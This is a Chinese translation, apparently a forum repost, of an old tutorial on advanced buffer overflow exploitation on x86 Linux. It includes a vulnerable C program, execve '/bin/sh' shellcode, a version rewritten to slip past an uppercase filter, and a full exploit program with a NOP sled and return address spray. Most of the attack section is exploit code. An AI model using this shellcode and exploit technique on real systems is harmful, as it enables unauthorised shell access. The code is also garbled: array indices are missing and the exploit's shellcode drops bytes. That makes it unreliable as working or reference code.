Advanced buffer overflow exploits(先进的缓冲区溢出攻击利用)
Advanced buffer overflow exploits(先进的缓冲区溢出攻击利用)作者 Taeho Oh ( ohhara@postech.edu]ohhara@postech.edu ) 翻译 天之印(tianzhiyin@gmail.com]tianzhiyin@gmail.com) hi.baidu.com/t_h4ck
1 。导言
现在有许多的缓冲区溢出利用代码。早期的缓冲区
溢出利用代码只能生成一个shell (执行/bin/sh) 。但是,
现在的一些缓冲区溢出利用守则有很好的功能。
例如,通过过滤,打开一个SOCKET,突破的chroot(Change Root) ,
等等。本文将尝试去解释在Intel x86的Linux系统下先进的缓冲区溢出
利用技巧。
2 。你在读之前有什么要知道的?
你要知道,汇编语言, C语言,和Linux 。当然,你
要知道什么是缓冲区溢出。你可以得到信息的
缓冲区溢出在phrack 49-14 (Smashing The Stack For Fun And Profit
by Aleph1) 。这是一个美好的文件缓冲区溢出,我强烈推荐
您阅读之前,读一本。
3 。通过过滤
有很多程序,其中有些有缓冲区溢出问题。为什么不是
所有的缓冲区溢出问题能被利用呢?因为即使某个程序达到缓冲区
溢出的条件,但也很难利用。在许多情况下,
该程序的在过滤一些字符或转换成其他字符的时候
。如果程序过滤所有字符,它的确就太难利用了。如果程序只过滤了一些字符,您可以绕过过滤,写出一个好的溢出利用代码。过滤,使良好的缓冲区溢出利用代码。:)
3.1 一个存在错误的程序。
vulnerable1.c
----------------------------------------------------------------------------
#include<string.h>
#include<ctype.h>
int main(int argc,int **argv)
{
char buffer;
int i;
if(argc>1)
{
for(i=0;i<strlen(argv);i++)
argv=toupper(argv);
strcpy(buffer,argv);
}
}
----------------------------------------------------------------------------
这个存在错误的程序将用户的输入转换成大写字母。因此,你必须作出shellcode ,其中不包含任何
小字母。你如何能这样做呢?你必须参考字符串
“/ bin / sh ” ,其中必须包含小字母。这样就可以利用了。:)
3.2修改正常的shellcode
几乎所有的缓冲区溢出利用代码是使用这个shellcode 。现在你有必要在shellcode 中
删除所有小字母,。当然,新的shellcode
已执行了一个SHELL。
正常的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
----------------------------------------------------------------------------
这shellcode有6个小字母。 (5个小写字母,在“/ bin / sh ”和
一小写字母在“"movl %esi,0x8(%esi)" )
您不能使用“/ bin/ sh的”字符串直接绕过
过滤器。不过,您可以插入任何字符,除小写字符外。因此你可以写入"\x2f\x12\x19\x1e\x2f\x23\x18"来代替\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" )。之后缓冲区溢出了。
你必须将"\x2f\x12\x19\x1e\x2f\x23\x18"改成"\x2f\x62\x69\x6e\x2f\x73\x68"然后执行"/bin/sh",。当你的SHELLCODE执行的时候加入\x50 to \x62, \x69, \x6e, \x73, 和 \x68就很容易改变。然后你又能如何隐藏\x76 在 "movl %esi,0x8(%esi)" 中呢?你可以改变"movl %esi,0x8(%esi)"到其他的部分执行,这样做等同于执行命令并且不包混任何小写字母。举例来说"movl %esi,0x8(%esi)"能改成"movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)"这个改变完的命令没有小写字母。(我想还有其他同样好的该法,这只是一个例子。)现在新的SHELLCODE:
----------------------------------------------------------------------------
char shellcode[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
4 Advanced buffer overflow exploits(先进的缓冲区溢出攻击利用)
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
----------------------------------------------------------------------------
3.3Exploit vulnerable1 program
利用这个SHELLCODE您能很容易的写出代码。
exploit1.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char buff,*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff=(addr&0x000000ff);
buff=(addr&0x0000ff00)>>8;
buff=(addr&0x00ff0000)>>16;
buff=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode;
buff='\0';
printf("Jump to 0x%08x\n",addr);
execl("./vulnerable1","vulnerable1",buff,0);
} 看看!~~~~~~~·
页:
[1]